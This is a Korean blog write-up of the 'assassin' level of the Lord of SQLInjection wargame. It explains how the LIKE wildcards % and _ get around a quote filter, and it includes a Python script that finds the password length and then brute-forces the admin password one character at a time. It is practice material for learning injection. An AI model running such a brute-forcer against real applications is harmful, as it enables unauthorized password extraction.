728x90
이번 포스트에서는 Lord of SQLInjection의 assassin문제에 대해 다루겠다.
문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.
## 문제 해석 :
해당 문제는 preg_match() 함수를 통해 '를 필터링한 것을 알 수 있다.
또한 id값이 admin일때만 문제를 해결할 수 있는 것으로 보인다.
## 문제 풀이 :
해당 문제는 "%"와 "_"를 활용하여 풀어낼 수 있다.
%, _
%a : a로 끝나는 문자열
a%: a로 시작하는 문자열
%a%: a가 포함된 문자열
_%: 임의의 글자로 시작하는 문자열
### 사용할 공격문 : pw=9%
### 실행 결과 :
Hello guest가 출력된 것을 보아 guest의 비밀번호는 9로 시작하는 것을 알 수 있다.
이렇게 글자 하나 하나씩 대입해서 문제를 해결할 수도 있겠지만 너무 비효율적이다. 따라서 "_"로 비밀번호의 길이를 알아낸 다음에 자동화 코드를 통해 admin의 비밀번호를 알아내겠다.
### 공격 코드 :
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?" # 공격 사이트
cookies = {'PHPSESSID': '세션ID'} # 본인의 세션값
string = '1234567890abcdefghijklmnopqrstuvwxyz' # 대입할 전체 문자열
pw = "" # 비밀번호 초기화
get_len = '_' # 비밀번호 길이 측정 변수 초기화
while 1: # while문 생성
query = f"{get_len}%" # 쿼리 작성 (비밀번호 길이 알아내기)
params = {"pw": query} # 파라미터에 작성한 쿼리문 삽입
response = requests.get(url, params=params, cookies=cookies) # 요청
# Hello guest와 Hello admin이 응답에 없다면, 즉 비밀번호 최대 길이에 도달한다면
if "Hello guest" not in response.text and "Hello admin" not in response.text:
max_length = get_len.count("_") # max_length 변수에 저장
break # 탈출
get_len += "_" # get_len에 "_" 하나 추가
print("[+] GET PASSWORD MAX_LENGTH = ", max_length) # 비밀번호 최대 길이 출력
for i in range(1, max_length + 1): # 비밀번호 최대 길이만큼 for문 생성
for j in string: # for문을 통해 문자열 전체를 차례대로 대입
query = f"{pw}{j}%" # 쿼리 작성 (최소한의 비밀번호 알아내기)
params = {"pw": query} # 파라미터에 작성한 쿼리문 삽입
response = requests.get(url, params=params, cookies=cookies) # 요청
if "Hello admin" in response.text: # Hello admin이 응답에 있다면
pw += j # pw에 j 추가
print(f"[+] FOUND ADMIN PASSWORD = ", pw) # 결과 출력
exit() # 종료
if "Hello guest" in response.text: # Hello guest가 응답에 있다면
pw += j # pw에 j 추가
print(f"[+] CURRENT PASSWORD = {pw}") # 현재까지 알아낸 비밀번호 출력
break # 탈출
### 실행 결과 :
### 최종 공격문 : pw=902%
### 실행 결과 :
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection (17. zombie_assassin) (0) | 2022.06.03 |
---|---|
Lord of SQLInjection (16. succubus) (0) | 2022.06.02 |
Lord of SQLInjection (14. giant) (0) | 2022.05.31 |
Lord of SQLInjection (13. bugbear) (0) | 2022.05.30 |
Lord of SQLInjection (12. darkknight) (2) | 2022.05.28 |